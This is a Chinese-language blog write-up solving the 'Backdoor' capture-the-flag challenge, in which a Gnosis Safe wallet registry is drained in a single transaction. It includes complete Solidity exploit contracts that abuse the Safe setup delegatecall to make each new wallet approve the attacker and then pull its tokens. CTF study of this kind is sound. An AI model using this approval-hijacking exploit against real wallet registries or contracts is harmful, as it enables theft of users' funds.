抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

目标:在单笔交易中,将 注册表中的资金全部掏空

题目链接

2. analysing

📌 emmm,对我这个菜鸡来说,这道题难度也是相当炸裂的。在做这道题的时候我把 GnosisSafeProxyGnosisSafe这一系列合约都看了,把代码的逻辑弄懂,回过头来才勉勉强强可以理解题目的用意。

这道题给我带来巨大的震撼,题目代码越往深处想,带来的震撼就越大。出题人真的太牛了。

2.1 request

让我们先看 challenge.js中的要求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

// Player must have used a single transaction
expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);

for (let i = 0; i < users.length; i++) {
let wallet = await walletRegistry.wallets(users[i]);

// User must have registered a wallet
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
'User did not register a wallet'
);

// User is no longer registered as a beneficiary
expect(
await walletRegistry.beneficiaries(users[i])
).to.be.false;
}

// Player must own all tokens
expect(
await token.balanceOf(player.address)
).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});

解读:

  1. 第一句断言要求玩家player只能进行一笔交易;
  2. 第二句断言要求 users[i]的钱包不能为空,可以理解为 user 成功执行了 wallets[walletOwner] = walletAddress;
  3. 第三句断言要求该 user不再是受益者,及该用户完成了注册,成功执行了beneficiaries[walletOwner] = false;
  4. 第四句断言要求玩家拿到注册表中的全部代币。

2.2 WalletRegistry.sol

注册合约通读一遍可以看到涉及到转钱的操作只有proxyCreated函数。仔细分析该合约。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
external
override
{
// 该地址的代币余额应该大于 10 ETH
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
revert NotEnoughFunds();
}
// 将代理地址修改为可接受转账的 "钱包" 地址
address payable walletAddress = payable(proxy);

// Ensure correct factory and master copy
// 调用者应该为钱包工厂,通过 GnosisiSafeProxyFactory调用 createProxyWithCallback 函数即可满足
if (msg.sender != walletFactory) {
revert CallerNotFactory();
}
//
if (singleton != masterCopy) {
revert FakeMasterCopy();
}

// Ensure initial calldata was a call to `GnosisSafe::setup`
// bytes4(initializer[:4]) 表示取前四个字节,保证 initializer中包含setup函数?
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert InvalidInitialization();
}

// Ensure wallet initialization is the expected
// 按理来说如果 walletAddress 是只经历过部署操作得来的,那么此时的 阈值=1
uint256 threshold = GnosisSafe(walletAddress).getThreshold();

// 要求阈值为 1,才能通过
// 常规思维无疑路是被堵死的,但是我们可以冒充 GnosisSafe 合约,提供一个相同的getThreshold()函数
if (threshold != EXPECTED_THRESHOLD) {
revert InvalidThreshold(threshold);
}

// 获取代理合约中的所有owner并将其存储在数组中
address[] memory owners = GnosisSafe(walletAddress).getOwners();

// 要求owners的个数不为 1
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}

// Ensure the owner is a registered beneficiary
address walletOwner;
unchecked {
walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) { // 判断owners[0]是不是受益人
revert OwnerIsNotABeneficiary();
}

address fallbackManager = _getFallbackManager(walletAddress);

if (fallbackManager != address(0))
revert InvalidFallbackManager(fallbackManager);

// Remove owner as beneficiary
beneficiaries[walletOwner] = false;

// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;

// Pay tokens to the newly created wallet
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}

易知,要执行 SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT),则必须要通过前面七个断言。

逐一分析断言:

  1. if (token.balanceOf(address(this)) < PAYMENT_AMOUNT):这个不是我们考虑的,金额由题目控制。

  2. if (msg.sender != walletFactory):要求调用者为 GnosisSafeProxyFactory合约,分析 GnosisSafeProxyFactory合约不难知道,其中有一个函数 createProxyWithCallback调用了proxyCreated函数,且注册表是IProxyCreationCallback的实现类,所以通过调用createProxyWithCallback即可通过第二个断言。

  3. if (singleton != masterCopy),在调用createProxyWithCallback函数的时候传入与masterCopy相同的值。

  4. if (bytes4(initializer[:4]) != GnosisSafe.setup.selector):可以自己包装这个值,只要该值的前 4bytessetup的选择器相同即可。

  5. GnosisSafe(walletAddress).getThreshold() != EXPECTED_THRESHOLD:这个很离谱,没有对代理合约有一定的了解的话很难理解到这里如何通过,常规思维GnosisSafe在初始化的时候就已经将threshold的值设置为 1,此时可以通过这个断言,实则不然walletAddress是一个代理合约,返回的是代理合约的threshold的值,其值未被初始化结果是0,按理来说这个断言无法通过才对。但是回想上一个断言,调用了setup函数,里面又调用了好几个方法,其中的 setupOwners函数就很有说法,仔细分析 setupOwners函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    function setupOwners(address[] memory _owners, uint256 _threshold) internal {
    require(threshold == 0, "GS200");
    require(_threshold <= _owners.length, "GS201");
    require(_threshold >= 1, "GS202");
    address currentOwner = SENTINEL_OWNERS;
    for (uint256 i = 0; i < _owners.length; i++) {
    address owner = _owners[i];
    require(owner != address(0) && owner != SENTINEL_OWNERS && owner != address(this) && currentOwner != owner, "GS203");
    require(owners[owner] == address(0), "GS204");
    owners[currentOwner] = owner;
    currentOwner = owner;
    }
    owners[currentOwner] = SENTINEL_OWNERS;
    ownerCount = _owners.length;
    threshold = _threshold;
    }

    这个函数本身在GnosisSafe合约内,但是GnosisSafe在初始化的时候,已经将 threshold的值设置为了 1,我第一次阅读源码的时候,怎么也搞不懂这个函数的意义是什么,自己又不允许自己用,简直就是画蛇添足。直到我读了一天的题目,才明白这是解题的一个关键点,我是通过代理合约进到此函数,且在代理合约中没有该变量,所以 threshold的值默认是0,这就为我进行下一步(通过剩下的断言)奠定了基础,看到最后一行,更新threshold的值,在代理合约中 threshold的值默认是0,通过代理合约调用 getThreshold()函数,其值也是0,但是只要我们在这里修改这个值,同时也是在修改代理合约中threshold的值。将其修改为1,这样就可通过此断言。

  6. if (owners.length != EXPECTED_OWNERS_COUNT):要求传入的数组长度为1,简单,依ta。

  7. if (!beneficiaries[walletOwner]):综合上一个断言,直接将题目授权的4个用户,进行遍历,挨个执行该函数即可。

  8. if (fallbackManager != _getFallbackManager(walletAddress):至于最后一个断言嘛,我不是很懂,但我的理解是,只有 walletAddress存储的storage变量别多的离谱大的离谱就行,不超过uint256(keccak256("fallback_manager.handler.address"))即可。

到此,我已经有办法逐一突破断言,现在要考虑的是,SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT),这行代码将 ERC20代币转入到代理合约账户里,我们知道代理合约中,没什么函数,ta都是通过逻辑合约实现功能,且ta是通过 degatecall执行函数调用的,这样一来,msg.sender永远不可能是ta自己。当然这是昨天的我的认知,被这个点折磨了两天半,通过实践我才发现。

📌在多重 delegatacallcall结合使用的时候,如果最后一个调用的方式为call,那么,整条调用链的msg.sender将会发生改变,对于最后一个合约来说,ta的调用者为Proxy,即代理合约。这点反正靠我自己想的话,想到我G了我都想不到,所以不懂的就动手。

将上述分析综合起来,就是本题的解法了。

这是最开始的思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/** 
思路:
1. 让每一个 user 都为我们执行 approve,以方便将user的收益转到player账户上
2. 第一个断言,不是我们能左右的
3. 第二个断言,要使调用者 msg.sender 是 walletFactory
可以通过 GnosisiSafeProxyFactory调用 createProxyWithCallback 函数即可满足
4. 第三个断言,根据合约的部署来自定义 singleton 即可
5. 第四个断言,要求bytes 类型的 initializer 前四个字节是 GnosisSafe.setup.selector 简单满足
6. 第五个断言,要求 GnosisSafe(walletAddress).getThreshold() = 1,
我们只要通过代理模式执行setup之后就可以使其等于1
7. 第六个断言,owners[0]需要是受益者,我们到时候将受益者数组传入进来即可
8. 第七个断言,我的理解是不能 walletAddress 中存储的东西即插槽别太多,
不能超过 uint256(keccak256("fallback_manager.handler.address")),否则其后的20bytes将不全为0,即address(0)

*/

3. solving

3.1 BackDoorHack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./WalletRegistry.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

// 其目的就是为了改变传递链中的msg.sender,使proxy成为msg.sender
contract BackdoorApprover {
function approve(address _token, address hacker, uint256 amount) public {
IERC20(_token).approve(hacker, amount);
}
}

contract BackDoorHack {

uint256 constant PAYMENT_AMOUNT = 10 ether;
IERC20 token;
GnosisSafeProxyFactory walletFactory;
address singleton;
WalletRegistry walletRegistry;
address[4] users;
BackdoorApprover public approver;

constructor(
address _token,
address _walletFactory,
address _singleton,
address _walletRegistry,
address[4] memory _users
){
token = IERC20(_token);
walletFactory = GnosisSafeProxyFactory(_walletFactory);
singleton = _singleton;
walletRegistry = WalletRegistry(_walletRegistry);
users = _users;
approver = new BackdoorApprover();
attack();
}


function attack() public {

// 授权操作的data
bytes memory approve_data = abi.encodeWithSignature("approve(address,address,uint256)", token, address(this), PAYMENT_AMOUNT);

// 用来给setup函数传参
address[] memory owners = new address[](1);

// 遍历每一个用户
for (uint256 i = 0; i < users.length; i++) {

owners[0] = users[i];

// 初始化setup的data
bytes memory initializer = abi.encodeWithSelector(
GnosisSafe.setup.selector,
owners,
1,
address(approver),
approve_data,
address(0),
address(token),
0,
payable(address(msg.sender)));

GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(singleton, initializer, i, walletRegistry);

token.transferFrom(address(proxy), msg.sender, PAYMENT_AMOUNT);
}
}
}

3.2 challenge.js

1
2
3
4
5
6
7
8
9
10
11
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */

await (await ethers.getContractFactory('BackDoorHack', player)).deploy(
token.address,
walletFactory.address,
masterCopy.address,
walletRegistry.address,
users
);
});

运行结果

image-20230726201648059

解题成功。

评论



政策 · 统计 | 本站使用 Volantis 主题设计